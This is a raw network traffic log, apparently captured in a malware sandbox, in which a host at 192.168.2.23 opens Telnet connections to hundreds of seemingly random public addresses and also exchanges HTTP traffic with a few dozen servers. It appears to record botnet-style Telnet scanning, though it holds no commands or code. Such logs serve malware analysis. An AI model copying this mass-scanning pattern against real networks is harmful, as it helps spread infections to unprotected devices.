Dec 3, 2024 21:30:47.382849932 CET	59020	23	192.168.2.23	176.13.114.144
Dec 3, 2024 21:30:47.382848024 CET	59020	23	192.168.2.23	208.74.206.223
Dec 3, 2024 21:30:47.382848024 CET	59020	23	192.168.2.23	124.254.203.187
Dec 3, 2024 21:30:47.382869005 CET	59020	23	192.168.2.23	25.247.31.55
Dec 3, 2024 21:30:47.382869005 CET	59020	23	192.168.2.23	221.119.56.244
Dec 3, 2024 21:30:47.382874012 CET	59020	23	192.168.2.23	220.145.249.60
Dec 3, 2024 21:30:47.382869005 CET	59020	23	192.168.2.23	65.91.33.34
Dec 3, 2024 21:30:47.382859945 CET	59020	23	192.168.2.23	19.26.19.168
Dec 3, 2024 21:30:47.382879972 CET	59020	23	192.168.2.23	183.217.235.64
Dec 3, 2024 21:30:47.382880926 CET	59020	23	192.168.2.23	159.72.195.164
Dec 3, 2024 21:30:47.382880926 CET	59020	23	192.168.2.23	94.55.136.52
Dec 3, 2024 21:30:47.382880926 CET	59020	23	192.168.2.23	41.198.198.28
Dec 3, 2024 21:30:47.382880926 CET	59020	23	192.168.2.23	13.184.151.192
Dec 3, 2024 21:30:47.382882118 CET	59020	23	192.168.2.23	194.182.255.172
Dec 3, 2024 21:30:47.382880926 CET	59020	23	192.168.2.23	115.153.49.49
Dec 3, 2024 21:30:47.382874012 CET	59020	23	192.168.2.23	120.177.110.14
Dec 3, 2024 21:30:47.382874012 CET	59020	23	192.168.2.23	175.200.99.147
Dec 3, 2024 21:30:47.382874012 CET	59020	23	192.168.2.23	194.169.120.156
Dec 3, 2024 21:30:47.382874012 CET	59020	23	192.168.2.23	80.207.171.158
Dec 3, 2024 21:30:47.382874012 CET	59020	23	192.168.2.23	114.145.76.45
Dec 3, 2024 21:30:47.382874012 CET	59020	23	192.168.2.23	219.197.211.177
Dec 3, 2024 21:30:47.382885933 CET	59020	23	192.168.2.23	51.203.136.232
Dec 3, 2024 21:30:47.382885933 CET	59020	23	192.168.2.23	155.190.72.199
Dec 3, 2024 21:30:47.382890940 CET	59020	23	192.168.2.23	148.181.243.38
Dec 3, 2024 21:30:47.382891893 CET	59020	23	192.168.2.23	174.231.141.11
Dec 3, 2024 21:30:47.382891893 CET	59020	23	192.168.2.23	100.246.98.23
Dec 3, 2024 21:30:47.382890940 CET	59020	23	192.168.2.23	219.179.66.119
Dec 3, 2024 21:30:47.382890940 CET	59020	23	192.168.2.23	85.22.125.243
Dec 3, 2024 21:30:47.382891893 CET	59020	23	192.168.2.23	142.244.250.45
Dec 3, 2024 21:30:47.382896900 CET	59020	23	192.168.2.23	161.157.218.118
Dec 3, 2024 21:30:47.382891893 CET	59020	23	192.168.2.23	120.116.224.64
Dec 3, 2024 21:30:47.382895947 CET	59020	23	192.168.2.23	23.89.2.231
Dec 3, 2024 21:30:47.382891893 CET	59020	23	192.168.2.23	126.78.131.170
Dec 3, 2024 21:30:47.382894993 CET	59020	23	192.168.2.23	193.153.115.18
Dec 3, 2024 21:30:47.382891893 CET	59020	23	192.168.2.23	47.125.99.12
Dec 3, 2024 21:30:47.382894993 CET	59020	23	192.168.2.23	43.170.108.27
Dec 3, 2024 21:30:47.382891893 CET	59020	23	192.168.2.23	34.99.46.52
Dec 3, 2024 21:30:47.382895947 CET	59020	23	192.168.2.23	102.106.29.236
Dec 3, 2024 21:30:47.382891893 CET	59020	23	192.168.2.23	189.15.103.100
Dec 3, 2024 21:30:47.382895947 CET	59020	23	192.168.2.23	210.175.125.123
Dec 3, 2024 21:30:47.382905960 CET	59020	23	192.168.2.23	46.245.134.216
Dec 3, 2024 21:30:47.382910013 CET	59020	23	192.168.2.23	32.230.206.95
Dec 3, 2024 21:30:47.382910013 CET	59020	23	192.168.2.23	216.169.177.29
Dec 3, 2024 21:30:47.382910013 CET	59020	23	192.168.2.23	132.40.200.141
Dec 3, 2024 21:30:47.382911921 CET	59020	23	192.168.2.23	73.40.17.167
Dec 3, 2024 21:30:47.382915020 CET	59020	23	192.168.2.23	41.220.49.99
Dec 3, 2024 21:30:47.382926941 CET	59020	23	192.168.2.23	145.37.64.162
Dec 3, 2024 21:30:47.382931948 CET	59020	23	192.168.2.23	217.162.251.9
Dec 3, 2024 21:30:47.382932901 CET	59020	23	192.168.2.23	69.109.11.169
Dec 3, 2024 21:30:47.382940054 CET	59020	23	192.168.2.23	187.231.33.212
Dec 3, 2024 21:30:47.382941961 CET	59020	23	192.168.2.23	102.70.50.73
Dec 3, 2024 21:30:47.382941008 CET	59020	23	192.168.2.23	63.237.114.114
Dec 3, 2024 21:30:47.382956028 CET	59020	23	192.168.2.23	48.47.87.96
Dec 3, 2024 21:30:47.382963896 CET	59020	23	192.168.2.23	80.20.13.166
Dec 3, 2024 21:30:47.382963896 CET	59020	23	192.168.2.23	59.8.15.174
Dec 3, 2024 21:30:47.382963896 CET	59020	23	192.168.2.23	213.81.173.119
Dec 3, 2024 21:30:47.382968903 CET	59020	23	192.168.2.23	23.59.205.205
Dec 3, 2024 21:30:47.382970095 CET	59020	23	192.168.2.23	45.125.123.176
Dec 3, 2024 21:30:47.382976055 CET	59020	23	192.168.2.23	192.173.169.172
Dec 3, 2024 21:30:47.382976055 CET	59020	23	192.168.2.23	51.194.83.180
Dec 3, 2024 21:30:47.382977009 CET	59020	23	192.168.2.23	153.215.72.161
Dec 3, 2024 21:30:47.382987976 CET	59020	23	192.168.2.23	65.111.195.115
Dec 3, 2024 21:30:47.382994890 CET	59020	23	192.168.2.23	134.63.137.25
Dec 3, 2024 21:30:47.382994890 CET	59020	23	192.168.2.23	165.185.115.49
Dec 3, 2024 21:30:47.383013964 CET	59020	23	192.168.2.23	183.100.37.175
Dec 3, 2024 21:30:47.383016109 CET	59020	23	192.168.2.23	177.81.186.73
Dec 3, 2024 21:30:47.383017063 CET	59020	23	192.168.2.23	163.57.182.212
Dec 3, 2024 21:30:47.383018017 CET	59020	23	192.168.2.23	116.249.227.233
Dec 3, 2024 21:30:47.383022070 CET	59020	23	192.168.2.23	110.197.143.21
Dec 3, 2024 21:30:47.383028030 CET	59020	23	192.168.2.23	126.187.214.171
Dec 3, 2024 21:30:47.383030891 CET	59020	23	192.168.2.23	206.44.39.183
Dec 3, 2024 21:30:47.383045912 CET	59020	23	192.168.2.23	109.178.144.68
Dec 3, 2024 21:30:47.383045912 CET	59020	23	192.168.2.23	102.118.126.192
Dec 3, 2024 21:30:47.383049011 CET	59020	23	192.168.2.23	120.138.39.50
Dec 3, 2024 21:30:47.383050919 CET	59020	23	192.168.2.23	53.214.210.182
Dec 3, 2024 21:30:47.383068085 CET	59020	23	192.168.2.23	192.60.171.155
Dec 3, 2024 21:30:47.383068085 CET	59020	23	192.168.2.23	2.177.78.92
Dec 3, 2024 21:30:47.383068085 CET	59020	23	192.168.2.23	24.190.8.190
Dec 3, 2024 21:30:47.383078098 CET	59020	23	192.168.2.23	109.117.109.151
Dec 3, 2024 21:30:47.383080959 CET	59020	23	192.168.2.23	190.90.106.46
Dec 3, 2024 21:30:47.383093119 CET	59020	23	192.168.2.23	105.56.255.53
Dec 3, 2024 21:30:47.383093119 CET	59020	23	192.168.2.23	220.236.222.81
Dec 3, 2024 21:30:47.383100033 CET	59020	23	192.168.2.23	200.90.220.123
Dec 3, 2024 21:30:47.383107901 CET	59020	23	192.168.2.23	151.213.252.167
Dec 3, 2024 21:30:47.383114100 CET	59020	23	192.168.2.23	31.118.166.47
Dec 3, 2024 21:30:47.383120060 CET	59020	23	192.168.2.23	200.114.29.137
Dec 3, 2024 21:30:47.383121014 CET	59020	23	192.168.2.23	197.93.225.108
Dec 3, 2024 21:30:47.383133888 CET	59020	23	192.168.2.23	218.0.179.146
Dec 3, 2024 21:30:47.383136034 CET	59020	23	192.168.2.23	176.153.217.222
Dec 3, 2024 21:30:47.383136034 CET	59020	23	192.168.2.23	196.94.154.191
Dec 3, 2024 21:30:47.383141041 CET	59020	23	192.168.2.23	178.163.99.144
Dec 3, 2024 21:30:47.383155107 CET	59020	23	192.168.2.23	156.164.135.178
Dec 3, 2024 21:30:47.383161068 CET	59020	23	192.168.2.23	178.88.123.67
Dec 3, 2024 21:30:47.383162975 CET	59020	23	192.168.2.23	213.160.52.168
Dec 3, 2024 21:30:47.383181095 CET	59020	23	192.168.2.23	136.129.38.85
Dec 3, 2024 21:30:47.383183002 CET	59020	23	192.168.2.23	89.211.6.97
Dec 3, 2024 21:30:47.383183002 CET	59020	23	192.168.2.23	103.31.127.212
Dec 3, 2024 21:30:47.383183956 CET	59020	23	192.168.2.23	150.125.249.194
Dec 3, 2024 21:30:47.383184910 CET	59020	23	192.168.2.23	126.11.25.217
Dec 3, 2024 21:30:47.383187056 CET	59020	23	192.168.2.23	59.107.215.238
Dec 3, 2024 21:30:47.383199930 CET	59020	23	192.168.2.23	172.96.54.1
Dec 3, 2024 21:30:47.391954899 CET	80	33108	58.115.115.241	192.168.2.23
Dec 3, 2024 21:30:47.392044067 CET	33108	80	192.168.2.23	58.115.115.241
Dec 3, 2024 21:30:47.392112017 CET	33108	80	192.168.2.23	58.115.115.241
Dec 3, 2024 21:30:47.392123938 CET	33108	80	192.168.2.23	58.115.115.241
Dec 3, 2024 21:30:47.392503023 CET	33258	80	192.168.2.23	58.115.115.241
Dec 3, 2024 21:30:47.395311117 CET	23	36420	8.14.63.183	192.168.2.23
Dec 3, 2024 21:30:47.395551920 CET	36420	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:47.396002054 CET	36906	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:47.399430990 CET	80	47310	183.236.75.193	192.168.2.23
Dec 3, 2024 21:30:47.399494886 CET	47310	80	192.168.2.23	183.236.75.193
Dec 3, 2024 21:30:47.399575949 CET	47310	80	192.168.2.23	183.236.75.193
Dec 3, 2024 21:30:47.399583101 CET	47310	80	192.168.2.23	183.236.75.193
Dec 3, 2024 21:30:47.399905920 CET	47444	80	192.168.2.23	183.236.75.193
Dec 3, 2024 21:30:47.427203894 CET	80	41132	197.253.59.50	192.168.2.23
Dec 3, 2024 21:30:47.427282095 CET	41132	80	192.168.2.23	197.253.59.50
Dec 3, 2024 21:30:47.427623987 CET	41132	80	192.168.2.23	197.253.59.50
Dec 3, 2024 21:30:47.427623987 CET	41132	80	192.168.2.23	197.253.59.50
Dec 3, 2024 21:30:47.428155899 CET	80	53818	186.140.24.86	192.168.2.23
Dec 3, 2024 21:30:47.428155899 CET	41242	80	192.168.2.23	197.253.59.50
Dec 3, 2024 21:30:47.428217888 CET	53818	80	192.168.2.23	186.140.24.86
Dec 3, 2024 21:30:47.428631067 CET	53818	80	192.168.2.23	186.140.24.86
Dec 3, 2024 21:30:47.428631067 CET	53818	80	192.168.2.23	186.140.24.86
Dec 3, 2024 21:30:47.428909063 CET	53928	80	192.168.2.23	186.140.24.86
Dec 3, 2024 21:30:47.434470892 CET	80	59056	187.240.42.70	192.168.2.23
Dec 3, 2024 21:30:47.434530020 CET	59056	80	192.168.2.23	187.240.42.70
Dec 3, 2024 21:30:47.434600115 CET	59056	80	192.168.2.23	187.240.42.70
Dec 3, 2024 21:30:47.434600115 CET	59056	80	192.168.2.23	187.240.42.70
Dec 3, 2024 21:30:47.434977055 CET	59150	80	192.168.2.23	187.240.42.70
Dec 3, 2024 21:30:47.441592932 CET	80	49646	162.82.86.148	192.168.2.23
Dec 3, 2024 21:30:47.441652060 CET	49646	80	192.168.2.23	162.82.86.148
Dec 3, 2024 21:30:47.441795111 CET	49646	80	192.168.2.23	162.82.86.148
Dec 3, 2024 21:30:47.441808939 CET	49646	80	192.168.2.23	162.82.86.148
Dec 3, 2024 21:30:47.442261934 CET	49720	80	192.168.2.23	162.82.86.148
Dec 3, 2024 21:30:47.452179909 CET	80	44184	204.107.80.7	192.168.2.23
Dec 3, 2024 21:30:47.452625036 CET	80	44480	204.107.80.7	192.168.2.23
Dec 3, 2024 21:30:47.452678919 CET	44480	80	192.168.2.23	204.107.80.7
Dec 3, 2024 21:30:47.452917099 CET	44480	80	192.168.2.23	204.107.80.7
Dec 3, 2024 21:30:47.452981949 CET	80	44740	202.42.96.98	192.168.2.23
Dec 3, 2024 21:30:47.453711987 CET	80	45660	197.193.109.69	192.168.2.23
Dec 3, 2024 21:30:47.454477072 CET	80	59584	146.130.90.64	192.168.2.23
Dec 3, 2024 21:30:47.455179930 CET	80	56878	27.172.93.161	192.168.2.23
Dec 3, 2024 21:30:47.456026077 CET	80	60466	51.194.102.135	192.168.2.23
Dec 3, 2024 21:30:47.456777096 CET	80	36806	67.64.187.21	192.168.2.23
Dec 3, 2024 21:30:47.493236065 CET	80	42942	73.108.231.65	192.168.2.23
Dec 3, 2024 21:30:47.493629932 CET	80	43128	73.108.231.65	192.168.2.23
Dec 3, 2024 21:30:47.493794918 CET	43128	80	192.168.2.23	73.108.231.65
Dec 3, 2024 21:30:47.493794918 CET	43128	80	192.168.2.23	73.108.231.65
Dec 3, 2024 21:30:47.494189024 CET	80	43660	18.211.7.205	192.168.2.23
Dec 3, 2024 21:30:47.494621992 CET	80	43846	18.211.7.205	192.168.2.23
Dec 3, 2024 21:30:47.494682074 CET	43846	80	192.168.2.23	18.211.7.205
Dec 3, 2024 21:30:47.494710922 CET	43846	80	192.168.2.23	18.211.7.205
Dec 3, 2024 21:30:47.495472908 CET	80	45656	181.236.160.87	192.168.2.23
Dec 3, 2024 21:30:47.495675087 CET	80	45842	181.236.160.87	192.168.2.23
Dec 3, 2024 21:30:47.495721102 CET	45842	80	192.168.2.23	181.236.160.87
Dec 3, 2024 21:30:47.495749950 CET	45842	80	192.168.2.23	181.236.160.87
Dec 3, 2024 21:30:47.496145964 CET	80	45142	64.213.12.242	192.168.2.23
Dec 3, 2024 21:30:47.496397018 CET	80	45328	64.213.12.242	192.168.2.23
Dec 3, 2024 21:30:47.496463060 CET	45328	80	192.168.2.23	64.213.12.242
Dec 3, 2024 21:30:47.496484041 CET	45328	80	192.168.2.23	64.213.12.242
Dec 3, 2024 21:30:47.496751070 CET	80	57204	67.165.85.6	192.168.2.23
Dec 3, 2024 21:30:47.497478008 CET	80	40332	57.80.127.128	192.168.2.23
Dec 3, 2024 21:30:47.499485016 CET	80	35336	181.179.122.117	192.168.2.23
Dec 3, 2024 21:30:47.499736071 CET	80	35516	181.179.122.117	192.168.2.23
Dec 3, 2024 21:30:47.499792099 CET	35516	80	192.168.2.23	181.179.122.117
Dec 3, 2024 21:30:47.499823093 CET	35516	80	192.168.2.23	181.179.122.117
Dec 3, 2024 21:30:47.499932051 CET	80	36806	67.64.187.21	192.168.2.23
Dec 3, 2024 21:30:47.499982119 CET	80	60466	51.194.102.135	192.168.2.23
Dec 3, 2024 21:30:47.499993086 CET	80	56878	27.172.93.161	192.168.2.23
Dec 3, 2024 21:30:47.500010967 CET	80	59584	146.130.90.64	192.168.2.23
Dec 3, 2024 21:30:47.500031948 CET	80	45660	197.193.109.69	192.168.2.23
Dec 3, 2024 21:30:47.500061989 CET	80	44740	202.42.96.98	192.168.2.23
Dec 3, 2024 21:30:47.500087023 CET	80	44184	204.107.80.7	192.168.2.23
Dec 3, 2024 21:30:47.513092995 CET	80	33108	58.115.115.241	192.168.2.23
Dec 3, 2024 21:30:47.513468027 CET	80	33258	58.115.115.241	192.168.2.23
Dec 3, 2024 21:30:47.513533115 CET	33258	80	192.168.2.23	58.115.115.241
Dec 3, 2024 21:30:47.513693094 CET	33258	80	192.168.2.23	58.115.115.241
Dec 3, 2024 21:30:47.516396999 CET	23	36420	8.14.63.183	192.168.2.23
Dec 3, 2024 21:30:47.520333052 CET	80	47310	183.236.75.193	192.168.2.23
Dec 3, 2024 21:30:47.520458937 CET	80	47444	183.236.75.193	192.168.2.23
Dec 3, 2024 21:30:47.520550966 CET	47444	80	192.168.2.23	183.236.75.193
Dec 3, 2024 21:30:47.520597935 CET	47444	80	192.168.2.23	183.236.75.193
Dec 3, 2024 21:30:47.536073923 CET	80	45656	181.236.160.87	192.168.2.23
Dec 3, 2024 21:30:47.536088943 CET	80	43660	18.211.7.205	192.168.2.23
Dec 3, 2024 21:30:47.536101103 CET	80	42942	73.108.231.65	192.168.2.23
Dec 3, 2024 21:30:47.540020943 CET	80	35336	181.179.122.117	192.168.2.23
Dec 3, 2024 21:30:47.540035009 CET	80	40332	57.80.127.128	192.168.2.23
Dec 3, 2024 21:30:47.540127039 CET	80	57204	67.165.85.6	192.168.2.23
Dec 3, 2024 21:30:47.540163994 CET	80	45142	64.213.12.242	192.168.2.23
Dec 3, 2024 21:30:47.547605038 CET	80	41132	197.253.59.50	192.168.2.23
Dec 3, 2024 21:30:47.548248053 CET	80	41242	197.253.59.50	192.168.2.23
Dec 3, 2024 21:30:47.548468113 CET	41242	80	192.168.2.23	197.253.59.50
Dec 3, 2024 21:30:47.548468113 CET	41242	80	192.168.2.23	197.253.59.50
Dec 3, 2024 21:30:47.548580885 CET	80	53818	186.140.24.86	192.168.2.23
Dec 3, 2024 21:30:47.548773050 CET	80	53928	186.140.24.86	192.168.2.23
Dec 3, 2024 21:30:47.548835993 CET	53928	80	192.168.2.23	186.140.24.86
Dec 3, 2024 21:30:47.548861980 CET	53928	80	192.168.2.23	186.140.24.86
Dec 3, 2024 21:30:47.555135012 CET	80	59056	187.240.42.70	192.168.2.23
Dec 3, 2024 21:30:47.555416107 CET	80	59150	187.240.42.70	192.168.2.23
Dec 3, 2024 21:30:47.555510998 CET	59150	80	192.168.2.23	187.240.42.70
Dec 3, 2024 21:30:47.555537939 CET	59150	80	192.168.2.23	187.240.42.70
Dec 3, 2024 21:30:47.559926987 CET	80	33108	58.115.115.241	192.168.2.23
Dec 3, 2024 21:30:47.561644077 CET	80	49646	162.82.86.148	192.168.2.23
Dec 3, 2024 21:30:47.562161922 CET	80	49720	162.82.86.148	192.168.2.23
Dec 3, 2024 21:30:47.562243938 CET	49720	80	192.168.2.23	162.82.86.148
Dec 3, 2024 21:30:47.562266111 CET	49720	80	192.168.2.23	162.82.86.148
Dec 3, 2024 21:30:47.567991018 CET	80	47310	183.236.75.193	192.168.2.23
Dec 3, 2024 21:30:47.573577881 CET	80	44480	204.107.80.7	192.168.2.23
Dec 3, 2024 21:30:47.573633909 CET	44480	80	192.168.2.23	204.107.80.7
Dec 3, 2024 21:30:47.591953993 CET	80	41132	197.253.59.50	192.168.2.23
Dec 3, 2024 21:30:47.591972113 CET	80	53818	186.140.24.86	192.168.2.23
Dec 3, 2024 21:30:47.596036911 CET	80	59056	187.240.42.70	192.168.2.23
Dec 3, 2024 21:30:47.607939005 CET	80	49646	162.82.86.148	192.168.2.23
Dec 3, 2024 21:30:47.614166021 CET	80	43128	73.108.231.65	192.168.2.23
Dec 3, 2024 21:30:47.614341021 CET	43128	80	192.168.2.23	73.108.231.65
Dec 3, 2024 21:30:47.615036011 CET	80	43846	18.211.7.205	192.168.2.23
Dec 3, 2024 21:30:47.615154028 CET	43846	80	192.168.2.23	18.211.7.205
Dec 3, 2024 21:30:47.615921974 CET	80	45842	181.236.160.87	192.168.2.23
Dec 3, 2024 21:30:47.616005898 CET	80	45842	181.236.160.87	192.168.2.23
Dec 3, 2024 21:30:47.616094112 CET	45842	80	192.168.2.23	181.236.160.87
Dec 3, 2024 21:30:47.616679907 CET	80	45328	64.213.12.242	192.168.2.23
Dec 3, 2024 21:30:47.616734028 CET	45328	80	192.168.2.23	64.213.12.242
Dec 3, 2024 21:30:47.620306015 CET	80	35516	181.179.122.117	192.168.2.23
Dec 3, 2024 21:30:47.620378017 CET	35516	80	192.168.2.23	181.179.122.117
Dec 3, 2024 21:30:47.634006977 CET	80	33258	58.115.115.241	192.168.2.23
Dec 3, 2024 21:30:47.634185076 CET	33258	80	192.168.2.23	58.115.115.241
Dec 3, 2024 21:30:47.640827894 CET	80	47444	183.236.75.193	192.168.2.23
Dec 3, 2024 21:30:47.640917063 CET	47444	80	192.168.2.23	183.236.75.193
Dec 3, 2024 21:30:47.670540094 CET	80	41242	197.253.59.50	192.168.2.23
Dec 3, 2024 21:30:47.670731068 CET	41242	80	192.168.2.23	197.253.59.50
Dec 3, 2024 21:30:47.670860052 CET	80	53928	186.140.24.86	192.168.2.23
Dec 3, 2024 21:30:47.670936108 CET	53928	80	192.168.2.23	186.140.24.86
Dec 3, 2024 21:30:47.677362919 CET	80	59150	187.240.42.70	192.168.2.23
Dec 3, 2024 21:30:47.677440882 CET	59150	80	192.168.2.23	187.240.42.70
Dec 3, 2024 21:30:47.683902025 CET	80	49720	162.82.86.148	192.168.2.23
Dec 3, 2024 21:30:47.684047937 CET	80	49720	162.82.86.148	192.168.2.23
Dec 3, 2024 21:30:47.684108019 CET	49720	80	192.168.2.23	162.82.86.148
Dec 3, 2024 21:30:47.965593100 CET	23	48598	117.22.254.102	192.168.2.23
Dec 3, 2024 21:30:47.965878010 CET	48598	23	192.168.2.23	117.22.254.102
Dec 3, 2024 21:30:47.966465950 CET	49028	23	192.168.2.23	117.22.254.102
Dec 3, 2024 21:30:47.966898918 CET	59020	23	192.168.2.23	44.192.118.134
Dec 3, 2024 21:30:47.966902971 CET	59020	23	192.168.2.23	134.187.117.10
Dec 3, 2024 21:30:47.966908932 CET	59020	23	192.168.2.23	187.40.70.129
Dec 3, 2024 21:30:47.966908932 CET	59020	23	192.168.2.23	87.99.240.254
Dec 3, 2024 21:30:47.966912985 CET	59020	23	192.168.2.23	63.109.215.215
Dec 3, 2024 21:30:47.966912985 CET	59020	23	192.168.2.23	99.37.135.20
Dec 3, 2024 21:30:47.966934919 CET	59020	23	192.168.2.23	177.135.80.255
Dec 3, 2024 21:30:47.966934919 CET	59020	23	192.168.2.23	51.121.141.35
Dec 3, 2024 21:30:47.966937065 CET	59020	23	192.168.2.23	117.164.230.59
Dec 3, 2024 21:30:47.966937065 CET	59020	23	192.168.2.23	193.0.117.2
Dec 3, 2024 21:30:47.966941118 CET	59020	23	192.168.2.23	37.82.81.115
Dec 3, 2024 21:30:47.966962099 CET	59020	23	192.168.2.23	210.117.125.218
Dec 3, 2024 21:30:47.966964960 CET	59020	23	192.168.2.23	154.24.194.187
Dec 3, 2024 21:30:47.966965914 CET	59020	23	192.168.2.23	80.87.129.247
Dec 3, 2024 21:30:47.966969967 CET	59020	23	192.168.2.23	194.153.125.195
Dec 3, 2024 21:30:47.966979027 CET	59020	23	192.168.2.23	51.62.204.49
Dec 3, 2024 21:30:47.966981888 CET	59020	23	192.168.2.23	46.163.160.34
Dec 3, 2024 21:30:47.966984034 CET	59020	23	192.168.2.23	84.45.67.211
Dec 3, 2024 21:30:47.966995955 CET	59020	23	192.168.2.23	105.167.251.97
Dec 3, 2024 21:30:47.966995955 CET	59020	23	192.168.2.23	177.233.93.84
Dec 3, 2024 21:30:47.966996908 CET	59020	23	192.168.2.23	120.96.59.6
Dec 3, 2024 21:30:47.967006922 CET	59020	23	192.168.2.23	142.62.141.157
Dec 3, 2024 21:30:47.967006922 CET	59020	23	192.168.2.23	46.199.24.55
Dec 3, 2024 21:30:47.967012882 CET	59020	23	192.168.2.23	50.112.243.53
Dec 3, 2024 21:30:47.967025042 CET	59020	23	192.168.2.23	54.231.221.94
Dec 3, 2024 21:30:47.967030048 CET	59020	23	192.168.2.23	96.185.22.158
Dec 3, 2024 21:30:47.967036009 CET	59020	23	192.168.2.23	206.177.79.149
Dec 3, 2024 21:30:47.967036009 CET	59020	23	192.168.2.23	136.50.176.242
Dec 3, 2024 21:30:47.967041969 CET	59020	23	192.168.2.23	27.254.190.2
Dec 3, 2024 21:30:47.967042923 CET	59020	23	192.168.2.23	121.193.206.216
Dec 3, 2024 21:30:47.967042923 CET	59020	23	192.168.2.23	4.204.4.220
Dec 3, 2024 21:30:47.967046976 CET	59020	23	192.168.2.23	39.229.85.242
Dec 3, 2024 21:30:47.967052937 CET	59020	23	192.168.2.23	123.86.24.156
Dec 3, 2024 21:30:47.967052937 CET	59020	23	192.168.2.23	181.156.119.97
Dec 3, 2024 21:30:47.967061043 CET	59020	23	192.168.2.23	150.9.176.28
Dec 3, 2024 21:30:47.967068911 CET	59020	23	192.168.2.23	71.205.26.70
Dec 3, 2024 21:30:47.967068911 CET	59020	23	192.168.2.23	47.242.221.170
Dec 3, 2024 21:30:47.967086077 CET	59020	23	192.168.2.23	44.79.154.6
Dec 3, 2024 21:30:47.967088938 CET	59020	23	192.168.2.23	42.168.123.152
Dec 3, 2024 21:30:47.967092037 CET	59020	23	192.168.2.23	107.233.94.7
Dec 3, 2024 21:30:47.967102051 CET	59020	23	192.168.2.23	37.156.15.195
Dec 3, 2024 21:30:47.967106104 CET	59020	23	192.168.2.23	108.49.187.109
Dec 3, 2024 21:30:47.967106104 CET	59020	23	192.168.2.23	196.203.90.39
Dec 3, 2024 21:30:47.967108011 CET	59020	23	192.168.2.23	64.31.19.191
Dec 3, 2024 21:30:47.967108965 CET	59020	23	192.168.2.23	36.217.138.102
Dec 3, 2024 21:30:47.967118025 CET	59020	23	192.168.2.23	131.106.22.56
Dec 3, 2024 21:30:47.967128038 CET	59020	23	192.168.2.23	155.39.127.13
Dec 3, 2024 21:30:47.967128038 CET	59020	23	192.168.2.23	149.138.76.93
Dec 3, 2024 21:30:47.967139006 CET	59020	23	192.168.2.23	132.68.121.240
Dec 3, 2024 21:30:47.967144012 CET	59020	23	192.168.2.23	46.235.58.123
Dec 3, 2024 21:30:47.967147112 CET	59020	23	192.168.2.23	195.148.245.75
Dec 3, 2024 21:30:47.967164993 CET	59020	23	192.168.2.23	133.1.31.72
Dec 3, 2024 21:30:47.967168093 CET	59020	23	192.168.2.23	193.104.173.10
Dec 3, 2024 21:30:47.967170000 CET	59020	23	192.168.2.23	197.3.35.11
Dec 3, 2024 21:30:47.967185020 CET	59020	23	192.168.2.23	42.44.116.65
Dec 3, 2024 21:30:47.967190981 CET	59020	23	192.168.2.23	60.4.109.116
Dec 3, 2024 21:30:47.967190981 CET	59020	23	192.168.2.23	100.39.5.154
Dec 3, 2024 21:30:47.967192888 CET	59020	23	192.168.2.23	198.235.197.23
Dec 3, 2024 21:30:47.967196941 CET	59020	23	192.168.2.23	65.171.158.205
Dec 3, 2024 21:30:47.967214108 CET	59020	23	192.168.2.23	114.26.157.134
Dec 3, 2024 21:30:47.967216015 CET	59020	23	192.168.2.23	180.136.156.226
Dec 3, 2024 21:30:47.967221022 CET	59020	23	192.168.2.23	64.46.220.83
Dec 3, 2024 21:30:47.967221022 CET	59020	23	192.168.2.23	119.192.255.142
Dec 3, 2024 21:30:47.967221975 CET	59020	23	192.168.2.23	13.13.188.116
Dec 3, 2024 21:30:47.967227936 CET	59020	23	192.168.2.23	151.193.171.39
Dec 3, 2024 21:30:47.967237949 CET	59020	23	192.168.2.23	139.183.83.222
Dec 3, 2024 21:30:47.967237949 CET	59020	23	192.168.2.23	72.190.148.18
Dec 3, 2024 21:30:47.967245102 CET	59020	23	192.168.2.23	106.241.140.77
Dec 3, 2024 21:30:47.967257023 CET	59020	23	192.168.2.23	146.177.173.117
Dec 3, 2024 21:30:47.967261076 CET	59020	23	192.168.2.23	175.169.123.190
Dec 3, 2024 21:30:47.967262983 CET	59020	23	192.168.2.23	110.178.20.31
Dec 3, 2024 21:30:47.967266083 CET	59020	23	192.168.2.23	148.64.196.50
Dec 3, 2024 21:30:47.967267990 CET	59020	23	192.168.2.23	73.207.112.254
Dec 3, 2024 21:30:47.967267990 CET	59020	23	192.168.2.23	140.144.178.126
Dec 3, 2024 21:30:47.967269897 CET	59020	23	192.168.2.23	53.147.184.174
Dec 3, 2024 21:30:47.967283964 CET	59020	23	192.168.2.23	82.58.184.3
Dec 3, 2024 21:30:47.967286110 CET	59020	23	192.168.2.23	188.29.78.239
Dec 3, 2024 21:30:47.967288971 CET	59020	23	192.168.2.23	36.75.148.49
Dec 3, 2024 21:30:47.967292070 CET	59020	23	192.168.2.23	120.37.221.211
Dec 3, 2024 21:30:47.967308998 CET	59020	23	192.168.2.23	85.228.155.254
Dec 3, 2024 21:30:47.967310905 CET	59020	23	192.168.2.23	65.216.123.9
Dec 3, 2024 21:30:47.967315912 CET	59020	23	192.168.2.23	61.30.46.47
Dec 3, 2024 21:30:47.967318058 CET	59020	23	192.168.2.23	128.249.10.139
Dec 3, 2024 21:30:47.967320919 CET	59020	23	192.168.2.23	181.94.181.218
Dec 3, 2024 21:30:47.967323065 CET	59020	23	192.168.2.23	17.181.13.88
Dec 3, 2024 21:30:47.967328072 CET	59020	23	192.168.2.23	100.220.59.85
Dec 3, 2024 21:30:47.967344046 CET	59020	23	192.168.2.23	86.176.183.251
Dec 3, 2024 21:30:47.967344046 CET	59020	23	192.168.2.23	77.116.3.120
Dec 3, 2024 21:30:47.967345953 CET	59020	23	192.168.2.23	129.18.169.100
Dec 3, 2024 21:30:47.967351913 CET	59020	23	192.168.2.23	110.30.6.71
Dec 3, 2024 21:30:47.967351913 CET	59020	23	192.168.2.23	73.248.147.224
Dec 3, 2024 21:30:47.967353106 CET	59020	23	192.168.2.23	145.239.193.84
Dec 3, 2024 21:30:47.967356920 CET	59020	23	192.168.2.23	101.114.53.125
Dec 3, 2024 21:30:47.967360973 CET	59020	23	192.168.2.23	221.118.62.247
Dec 3, 2024 21:30:47.967363119 CET	59020	23	192.168.2.23	129.104.166.149
Dec 3, 2024 21:30:47.967364073 CET	59020	23	192.168.2.23	12.66.224.33
Dec 3, 2024 21:30:47.967366934 CET	59020	23	192.168.2.23	79.193.120.31
Dec 3, 2024 21:30:47.967367887 CET	59020	23	192.168.2.23	212.183.75.228
Dec 3, 2024 21:30:47.967384100 CET	59020	23	192.168.2.23	211.187.87.255
Dec 3, 2024 21:30:47.967384100 CET	59020	23	192.168.2.23	37.181.39.221
